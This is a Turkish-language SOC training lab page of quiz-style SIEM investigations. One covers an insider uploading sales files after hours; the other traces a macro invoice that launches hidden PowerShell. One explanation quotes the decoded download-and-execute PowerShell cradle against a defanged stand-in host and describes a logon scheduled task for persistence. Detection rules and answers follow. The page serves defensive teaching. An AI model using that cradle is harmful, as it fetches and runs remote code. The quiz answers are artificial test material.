source=auth user=k.ozturk method=vpn | table time,src_ip,countrySorguyu çalıştırın
Açıklama. 22.30.12'de 198.51.100.156'dan; Türkiye'den bir ev bağlantısı. Dizüstü bilgisayarı vekil sunucuda bundan sonra ofis adresi 10.20.1.26 yerine VPN havuzu adresi 10.30.0.26 ile görünüyor; iki kayıt bu sayede birbirine bağlanıyor.
Çözüm sorgusu: source=auth user=k.ozturk method=vpn | table time,src_ip,countryÇalıştırın
Analist özeti, bu görevin bütün soruları yanıtlanınca açılır.
Analist özeti Ne oldu İstifasını vermiş bir satış çalışanı 22.30'da VPN'e bağlandı; upload.quickdrop.example'ı denediğinde vekil sunucu iki kez engelledi. Satış teklifleri klasörünü 7-Zip ile 400 MB'lık parçalara böldü ve 22.41 ile 23.14 arasında toplam 4,2 GB tutan 14 parçayı onaylı dosya paylaşım hizmetine yükledi. Burada ne zararlı yazılım ne de çalınmış kimlik bilgisi gerekti: meşru erişimini kullanan bir içeriden kişi söz konusu.
Zaman çizelgesi 22:30:12 Evden VPN bağlantısı. 22:35:40 upload.quickdrop.example'a yükleme engellendi. 22:39:55 7-Zip, D:\Satis\Musteri_Teklifleri klasörünü 400 MB'lık parçalara bölüyor. 22:41:10 files.sharebox.example'a 14 yüklemenin ilki. 23:14:01 Son yükleme; toplam 4,2 GB. Kontrol altına alma ve sonraki adımlar Çalışanla konuşmadan önce İK'yı ve hukuk ekibini bilgilendirin; konuşmanın nasıl geçtiği neyi geri alabileceğinizi etkiler. Vekil sunucu, VPN ve iş istasyonu kayıtlarını ve dizüstü bilgisayarın imajını saklayın. İK ile birlikte, kalan ihbar süresi boyunca VPN ve dosya paylaşımı erişimini sınırlayın. files.sharebox.example bir şirket kiracısıysa yöneticisi yüklenen dosyaları görebilir ve paylaşım bağlantılarını iptal edebilir; kişisel bir hesapsa süreci hukuk yürütmelidir. Tekliflerin müşteri temsilcilerine ait kişisel veri içerip içermediğini kontrol edin; içeriyorsa KVKK değerlendirmesi burada da geçerlidir. Bunu yakalayacak tespit kuralı Mesai dışı büyük yükleme. Bir kullanıcının 20.00'den sonra tek bir hedefe 500 MB'tan fazla göndermesi. Her kullanıcıyı kendi olağan hacmiyle karşılaştırmak daha da iyi sonuç verir.
source=proxy earliest=20:00 | stats sum(bytes_out) count by user,url_domain | where sum(bytes_out)>=500000000Kuralı çalıştırın
Önce engellendi, sonra izinli. Engelli bir dosya paylaşım sitesine takılan ve izinli birini de kullanan kullanıcı.
source=proxy category=file-sharing | stats dc(url_domain) dc(action) count by user | where dc(action)>=2Kuralı çalıştırın
ATT&CK eşlemesi T1560.001Toplanan veriyi arşivleme: araçla arşivleme T1567.002Web hizmeti üzerinden sızdırma: bulut depolamaya sızdırma PowerShell başlatan fatura Düzey: Ortadan ileriye Kaynaklar: processdnsproxymail 6 soru
0/6
11.40. Satın almadan biri yardım masasını arıyor: bir tedarikçiden gelen fatura on bir buçuk sularında “düzgün açılmamış”. İş istasyonları süreç başlatma olaylarını SIEM'e gönderiyor; üzerlerinde henüz EDR yok.
EDR (uç nokta tespit ve müdahale), bir bilgisayardaki şüpheli davranışı kaydeder ve engeller. Yokluğunda süreçler arasındaki üst-alt ilişkisi ana ipucudur: Word'ün bir komut kabuğu başlatması için bir neden yoktur.
1 PowerShell'i en seyrek hangi program başlattı ve bu yüzden göze batıyor? Çözüldü
Yanıt Yanıtı denetleyin
1. ipucu 2. ipucu
Her powershell.exe başlangıcının üst sürecine bakın.
source=process image=powershell.exe | top parentSorguyu çalıştırın
rare en seyrek değerleri önce listeler.
source=process image=powershell.exe | rare parentSorguyu çalıştırın
Açıklama. Bir kez, WINWORD.EXE. Diğer üst süreçlerin açıklaması var: explorer.exe, BT ekibinin betiklerini elle çalıştırması; CcmExec.exe ise bir sunucudaki yazılım yönetim aracısı. Seyrek olmak kötü amaçlı olmak demek değildir; ama bir belge düzenleyicinin kabuk başlatması neredeyse her zaman incelenmeyi hak eder.
Çözüm sorgusu: source=process image=powershell.exe | rare parentÇalıştırın
2 Bu hangi bilgisayarda oldu? Çözüldü
Yanıt Yanıtı denetleyin
1. ipucu 2. ipucu
Hem image hem parent ile süzün.
Bunu çalıştırın.
source=process image=powershell.exe parent=WINWORD.EXE | table time,host,user,cmdlineSorguyu çalıştırın
Açıklama. 11.27.05'te, satın almadan Murat Çelik'in iş istasyonu KL-WS-022. Komut satırında -NoP (profil yok), -W Hidden (pencere yok) ve ardından Base64 gelen -Enc var: sıradan kullanıcıların hiç yazmadığı üç seçenek. Çözmek için kaydın ayrıntısını açın.
Çözüm sorgusu: source=process image=powershell.exe parent=WINWORD.EXE | table time,host,user,cmdlineÇalıştırın
3 Word hemen önce hangi dosyayı açtı? Dosya adını yazın. Çözüldü
Yanıt Yanıtı denetleyin
1. ipucu 2. ipucu
Aynı bilgisayardaki WINWORD.EXE başlangıçlarına bakın.
source=process host=KL-WS-022 image=WINWORD.EXESorguyu çalıştırın
Outlook'un başlattığı, ekin kendisi.
source=process host=KL-WS-022 image=WINWORD.EXE parent=OUTLOOK.EXE | table time,cmdlineSorguyu çalıştırın
Açıklama. Fatura_2026-03.docm; 11.26.40'ta Outlook'un geçici ek klasöründen açılmış. .docm uzantısı makro içeren Word belgesi demektir; faturalar normalde böyle gönderilmez. Bu bilgisayardaki diğer Word başlangıcı (13.40, Documents'tan Fiyat_listesi.docx) olağan.
Çözüm sorgusu: source=process host=KL-WS-022 image=WINWORD.EXE parent=OUTLOOK.EXE | table time,cmdlineÇalıştırın
4 PowerShell hangi alan adına bağlandı? Çözüldü
Yanıt Yanıtı denetleyin
1. ipucu 2. ipucu
Ya kayıt ayrıntısında -Enc değerini çözün ya da aynı bilgisayarın 11.27 sonrasındaki DNS sorgularına bakın.
source=dns host=KL-WS-022Sorguyu çalıştırın
Bunu çalıştırın.
source=dns host=KL-WS-022 earliest=11:27 latest=11:30 | table time,query,answerSorguyu çalıştırın
Açıklama. cdn-update.example; PowerShell başladıktan bir saniye sonra 203.0.113.80 olarak çözümlenmiş. Çözülen komut şöyle: IEX (New-Object Net.WebClient).DownloadString('hxxp://cdn-update[.]example/k.ps1'). Yani bir betiği indir ve dosyaya yazmadan bellekte çalıştır. Vekil sunucu 48.213 baytın geri geldiğini gösteriyor; kategori uncategorized.
Çözüm sorgusu: source=dns host=KL-WS-022 earliest=11:27 latest=11:30 | table time,query,answerÇalıştırın
5 PowerShell, yeniden başlatmadan sonra da çalışmak için zamanlanmış bir görev oluşturdu. Görevin adı ne? Çözüldü
Yanıt Yanıtı denetleyin
1. ipucu 2. ipucu
Zamanlanmış görevler schtasks.exe ile oluşturulur.
Ad, /TN'den sonra gelir.
source=process host=KL-WS-022 image=schtasks.exe | table time,cmdlineSorguyu çalıştırın
Açıklama. WinSyncHelper; her oturum açılışında C:\Users\Public\sync.ps1 dosyasını gizli olarak çalıştıracak biçimde ayarlanmış (/SC ONLOGON). Windows'un parçasıymış gibi duran bir ad, kalıcılığı gözden kaçırmanın yaygın yoludur.
Çözüm sorgusu: source=process host=KL-WS-022 image=schtasks.exe | table time,cmdlineÇalıştırın
6 Görevden hemen sonra PowerShell, kullanıcıyı tanımak için bir program daha çalıştırdı. Hangi program? Çözüldü
Yanıt Yanıtı denetleyin
1. ipucu 2. ipucu
PowerShell'in o bilgisayarda başlattığı her şeyi listeleyin.
Bunu çalıştırın.
source=process host=KL-WS-022 parent=powershell.exe | table time,image,cmdlineSorguyu çalıştırın
Açıklama. 11.27.12'de /all ile whoami.exe: kullanıcıyı, gruplarını ve ayrıcalıklarını yazdırır. Saldırganlar bunu, hesabın bu tek bilgisayardan daha değerli olup olmadığına (örneğin yerel yönetici olup olmadığına) karar vermek için çalıştırır.
Çözüm sorgusu: source=process host=KL-WS-022 parent=powershell.exe | table time,image,cmdlineÇalıştırın
Analist özeti, bu görevin bütün soruları yanıtlanınca açılır.
Analist özeti Ne oldu 11.26'da m.celik bir e-postadan Fatura_2026-03.docm dosyasını açtı. Belgedeki makro, kodlanmış komutla gizli bir PowerShell başlattı; bu da cdn-update.example adresinden bir betik indirip bellekte çalıştırdı (11.27.05–07). Betik yedi saniye içinde her oturum açılışında yeniden çalışacak WinSyncHelper adlı bir zamanlanmış görev kurdu ve whoami ile kullanıcının ayrıcalıklarına baktı. Bu, tipik bir saldırının açılışı: ilk erişim, yürütme, kalıcılık, keşif. Sonraki adımlar genellikle kimlik bilgisi hırsızlığı ve yanal hareket olur.
Zaman çizelgesi 11:24:58 m.celik iletiyi açıyor. 11:26:40 Word, Fatura_2026-03.docm dosyasını açıyor. 11:27:05 Word, kodlanmış komutla gizli PowerShell başlatıyor. 11:27:06 cdn-update.example için DNS sorgusu. 11:27:07 48 KB'lık betik vekil sunucu üzerinden indiriliyor. 11:27:09 WinSyncHelper zamanlanmış görevi oluşturuluyor. 11:27:12 whoami /all. Kontrol altına alma ve sonraki adımlar KL-WS-022'yi yalıtın. Silmeden önce görevi, C:\Users\Public\sync.ps1 dosyasını ve .docm belgesini toplayın. cdn-update.example ve 203.0.113.80'i vekil sunucuda ve DNS'te engelleyin. Aynı e-postayı (gönderen, konu, ek adı) bütün posta kutularında bulun ve kaldırın; başka kimin açtığını sorun. m.celik'in parolasını temiz bir bilgisayardan sıfırlayın ve hesabın başka yerlerde görünüp görünmediğini izleyin. İnternetten gelen dosyalardaki makroları ilkeyle engelleyin ve Office uygulamalarının alt süreç oluşturmasını engelleyen saldırı yüzeyi azaltma kuralını etkinleştirin. Bunu yakalayacak tespit kuralı Office bir kabuk başlatıyor. Bir Office uygulamasının başlattığı her komut kabuğu ya da betik çalıştırıcı.
source=process (parent=WINWORD.EXE OR parent=EXCEL.EXE OR parent=OUTLOOK.EXE OR parent=POWERPNT.EXE) (image=powershell.exe OR image=cmd.exe OR image=wscript.exe OR image=mshta.exe)Kuralı çalıştırın
Yönetim araçları dışında kodlanmış PowerShell. Kodlanmış komutlar bazı yönetim aracıları için olağandır; bildiklerinizi dışarıda bırakın, kalanlara bakın.
source=process image=powershell.exe cmdline="*-enc*" parent!=CcmExec.exeKuralı çalıştırın
ATT&CK eşlemesi T1566.001Oltalama: hedefli ek T1204.002Kullanıcı yürütmesi: kötü amaçlı dosya T1059.001Komut ve betik yorumlayıcı: PowerShell T1027Gizlenmiş dosya ya da bilgi T1105Araç aktarımı T1053.005Zamanlanmış görev T1033Sistem sahibi ve kullanıcı keşfi Arama Örnek sorgular
Adrese göre başarısız girişler Duruma göre portal hataları Yönetim yolları Bilgisayara göre TXT sorguları 20.00 sonrası yüklemeler PowerShell'i ne başlatıyor Yeni gelen kutusu kuralları Vekil sunucunun engelledikleri
Saatlere göre kayıt Aramayı bir saate daraltmak için çubuğu seçin; kaldırmak için yeniden seçin.
00 06 12 18 24
Alanları gizleyin Alanlar Eşleşen kayıtlarda en sık görülen değerler. Birini filtre olarak ekleyin ya da hariç tutun.
Sorgu dili kılavuzu Arama Yazım Anlamı Örnek wordHerhangi bir alanında bu sözcüğü içeren kayıtlar. Büyük-küçük harf fark etmez. powershellDeneyin "two words"Boşluk içeren bir ifade; tek parça olarak aranır. "banka hesap"Deneyin field=valueAlan, değere tam olarak eşit (büyük-küçük harf duyarsız). source=auth result=failureDeneyin field!=valueAlan var ve değerden farklı. NOT alan=değer, alanı hiç olmayan kayıtları da getirir. source=proxy action!=allowedDeneyin field>n < >= <=Sayısal karşılaştırma. 09:30 gibi saatler de karşılaştırılabilir. source=web bytes>100000Deneyin *Joker karakter: herhangi sayıda karakter. alan=* alanın var olduğu anlamına gelir. source=web path=*admin*Deneyin AND, OR, NOT, ( )Yan yana yazılan terimler AND ile birleşir. OR ve NOT büyük harfle yazılır; parantez gruplar. source=process (parent=WINWORD.EXE OR parent=EXCEL.EXE)Deneyin earliest= latest=Bütün aramanın zaman aralığı. earliest dahildir, latest dahil değildir. source=proxy earliest=20:00 latest=24:00Deneyin
Dikey çizgiden | sonra komutlar Yazım Anlamı Örnek | count | count by fSonuç sayısı; toplam ya da bir alanın her değeri için. source=auth | count by resultDeneyin | top N f | rare N fEn sık (ya da en seyrek) değerler; sayı ve yüzdeyle. N verilmezse 10. source=web | top 5 src_ipDeneyin | dc(f) by gFarklı değer sayısı: her g için f'nin kaç farklı değer aldığı. source=auth result=failure | dc(user) by src_ipDeneyin | stats sum(f) avg(f) min(f) max(f) count by gBirden çok hesaplama bir arada. Sonuç ilk hesaplamaya göre büyükten küçüğe sıralanır. source=proxy | stats sum(bytes_out) count by userDeneyin | sort -f | sort fBir alana göre sıralar; eksi işareti büyükten küçüğe demektir. Birden çok alan yazılabilir. source=web | sort -bytesDeneyin | table f1,f2Yalnızca bu sütunları, bu sırayla gösterir. source=mail | table time,user,operationDeneyin | head N | tail Nİlk ya da son N sonuç (varsayılan 10). Kayıtlar en yeniden eskiye listelenir. source=dns | sort -qlen | head 5Deneyin | dedup fAlanın her değeri için ilk sonucu bırakır. source=auth result=success | dedup userDeneyin | where conditionHesaplanan satırları aramayla aynı yazımla süzer. source=auth result=failure | dc(user) by src_ip | where dc(user)>=10Deneyin
Kayıt kaynakları ve alanları source Kayıt kaynağı: auth, mail, web, dns, proxy, processtime Olayın saati, SS:DD:sshour Olayın saati, 0–23 (hesaplanan alan)
source=authOturum açma Windows oturum açmaları, şirket uygulamalarına tek oturum açma (SSO) girişleri ve VPN bağlantıları.
userHesap adı
src_ipGirişin geldiği adres
resultsuccess (başarılı) ya da failure (başarısız)
methodwindows, sso ya da vpn
appSSO ile girilen uygulama: mail, portal, erp, hr
clientbrowser, outlook, mobile, vpn-client ya da MFA istemi çıkmadan parola kabul eden eski protokoller imap ve ews
countryBenzetim GeoIP sorgusundan gelen ülke kodu
reasonBaşarısızlık nedeni: bad_password, unknown_user, mfa_denied
hostWindows girişlerinde bilgisayar adı source=mailPosta kutusu denetimi Posta kutularının içinde yapılanlar: gönderilen iletiler, okunan öğeler, oluşturulan kurallar.
operationYapılan işlem: Send, MailItemsAccessed, New-InboxRule ya da MoveToDeletedItems
rule_nameGelen kutusu kuralının adı
rule_conditionKuralın hangi iletilerde çalıştığı
forward_toKuralın iletileri yönlendirdiği adres
folderİlgili klasör
subjectGönderilen iletinin konusu
recipientGönderilen iletinin alıcısı
itemsİşlem gören öğe sayısı source=webMüşteri portalı portal.kuzeylojistik.example için nginx erişim kaydı. SIEM, sorgu dizesini URL kodlamasından çözülmüş olarak saklar.
methodHTTP yöntemi
pathİstenen yol
querySorgu dizesi
statusHTTP durum kodu
bytesYanıtın boyutu
user_agentİstemcinin kendini tanıttığı yazılım adı source=dnsDNS İç DNS çözümleyicisinin sorgu kaydı.
hostSorguyu soran bilgisayar
queryÇözümlenmek istenen ad
qtypeKayıt türü: A, AAAA, TXT, SRV
rcodeNOERROR ya da NXDOMAIN (ad yok)
answerDönen yanıt
domainKayıtlı alan adı; adın son iki etiketi
qlenSorgulanan adın karakter sayısı source=proxyWeb vekil sunucusu Personel bilgisayarlarından çıkan her web isteği vekil sunucudan geçer; kategori politikası burada uygulanır.
url_domainHedef alan adı
categoryVekil sunucunun atadığı kategori
actionallowed (izin verildi) ya da blocked (engellendi)
bytes_outŞirketten gönderilen bayt
bytes_inAlınan bayt source=processSüreç başlatma İş istasyonu ve sunuculardaki süreç başlatma olayları; Sysmon olay 1'e benzer.
imageBaşlayan program
parentOnu başlatan program
pidSüreç numarası
ppidÜst sürecin numarası
cmdlineTam komut satırı Her laboratuvar uydurma veri kullanır ve yalnızca savunma işini canlandırır. Sahibi olmadığınız ya da yazılı izin almadığınız sistemleri denemeyin: bilişim sistemine hukuka aykırı erişim suçtur (TCK m. 243).